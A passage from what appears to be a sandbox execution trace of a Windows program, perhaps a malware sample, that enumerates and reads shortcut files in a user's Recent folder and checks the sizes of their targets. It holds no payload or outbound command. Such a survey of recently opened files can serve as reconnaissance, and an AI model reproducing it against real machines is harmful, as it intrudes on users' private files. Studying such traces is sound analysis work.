HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hr58a4aahm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.718] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3f2 [0076.718] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c658, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c658*, lpNumberOfBytesRead=0x18e2f8*=0x3f2, lpOverlapped=0x0) returned 1 [0076.719] CloseHandle (hObject=0x3f8) returned 1 [0076.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hr58A4aaHM.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hr58a4aahm.ods"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.719] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x39c0 [0076.719] CloseHandle (hObject=0x3f8) returned 1 [0076.719] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d543280, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d543280, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d543280, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVotFJWhFGBD 2Z.mkv.lnk", cAlternateFileName="HVOTFJ~1.LNK")) returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5f | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5e | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hVotFJWhFGBD 2Z.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.719] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5e | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.720] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk") returned 1 [0076.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hvotfjwhfgbd 2z.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.720] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x40b [0076.720] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c6e0, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c6e0*, lpNumberOfBytesRead=0x18e2f8*=0x40b, lpOverlapped=0x0) returned 1 [0076.721] CloseHandle (hObject=0x3f8) returned 1 [0076.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hVotFJWhFGBD 2Z.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hvotfjwhfgbd 2z.mkv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.721] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0xf894 [0076.721] CloseHandle (hObject=0x3f8) returned 1 [0076.721] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c1ebfc0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d993a60, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d993a60, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xde2, dwReserved0=0x0, dwReserved1=0x0, cFileName="I1WhKlENAwKn.lnk", cAlternateFileName="I1WHKL~1.LNK")) returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hVotFJWhFGBD 2Z.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk", len=0x58 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", len=0x57 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I1WhKlENAwKn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", len=0x57 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk") returned 1 [0076.721] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk") returned 1 [0076.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i1whklenawkn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.722] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xde2 [0076.722] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c760, nNumberOfBytesToRead=0xde2, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c760*, lpNumberOfBytesRead=0x18e2f8*=0xde2, lpOverlapped=0x0) returned 1 [0076.722] CloseHandle (hObject=0x3f8) returned 1 [0076.723] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.723] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d993a60, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d993a60, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d993a60, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBNXL3TRBVFr5.mkv.lnk", cAlternateFileName="IBNXL3~1.LNK")) returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I1WhKlENAwKn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IBNXL3TRBVFr5.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk") returned 1 [0076.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibnxl3trbvfr5.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.723] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x401 [0076.723] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c7cc, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c7cc*, lpNumberOfBytesRead=0x18e2f8*=0x401, lpOverlapped=0x0) returned 1 [0076.724] CloseHandle (hObject=0x3f8) returned 1 [0076.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IBNXL3TRBVFr5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ibnxl3trbvfr5.mkv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.724] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0xc911 [0076.724] CloseHandle (hObject=0x3f8) returned 1 [0076.724] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dac4560, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9dac4560, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dac4560, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14df, dwReserved0=0x0, dwReserved1=0x0, cFileName="IlZLf8gCsW02mWS.lnk", cAlternateFileName="ILZLF8~1.LNK")) returned 1 [0076.724] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IBNXL3TRBVFr5.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.724] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk", len=0x5b | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.724] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.725] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", len=0x5a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.725] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\IlZLf8gCsW02mWS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.725] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", len=0x5a | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.725] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk") returned 1 [0076.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ilzlf8gcsw02mws.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.725] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14df [0076.725] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c84c, nNumberOfBytesToRead=0x14df, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c84c*, lpNumberOfBytesRead=0x18e2f8*=0x14df, lpOverlapped=0x0) returned 1 [0076.726] CloseHandle (hObject=0x3f8) returned 1 [0076.726] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.726] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedd760, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cedd760, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cedd760, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="I_dy9.lnk", cAlternateFileName="")) returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IlZLf8gCsW02mWS.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk", len=0x51 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", len=0x50 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\I_dy9.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", len=0x50 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk") returned 1 [0076.726] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk") returned 1 [0076.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i_dy9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.727] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19c3 [0076.727] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x19c3, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x19c3, lpOverlapped=0x0) returned 1 [0076.727] CloseHandle (hObject=0x3f8) returned 1 [0076.728] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.728] FindNextFileW (in: hFindFile=0x66e488, 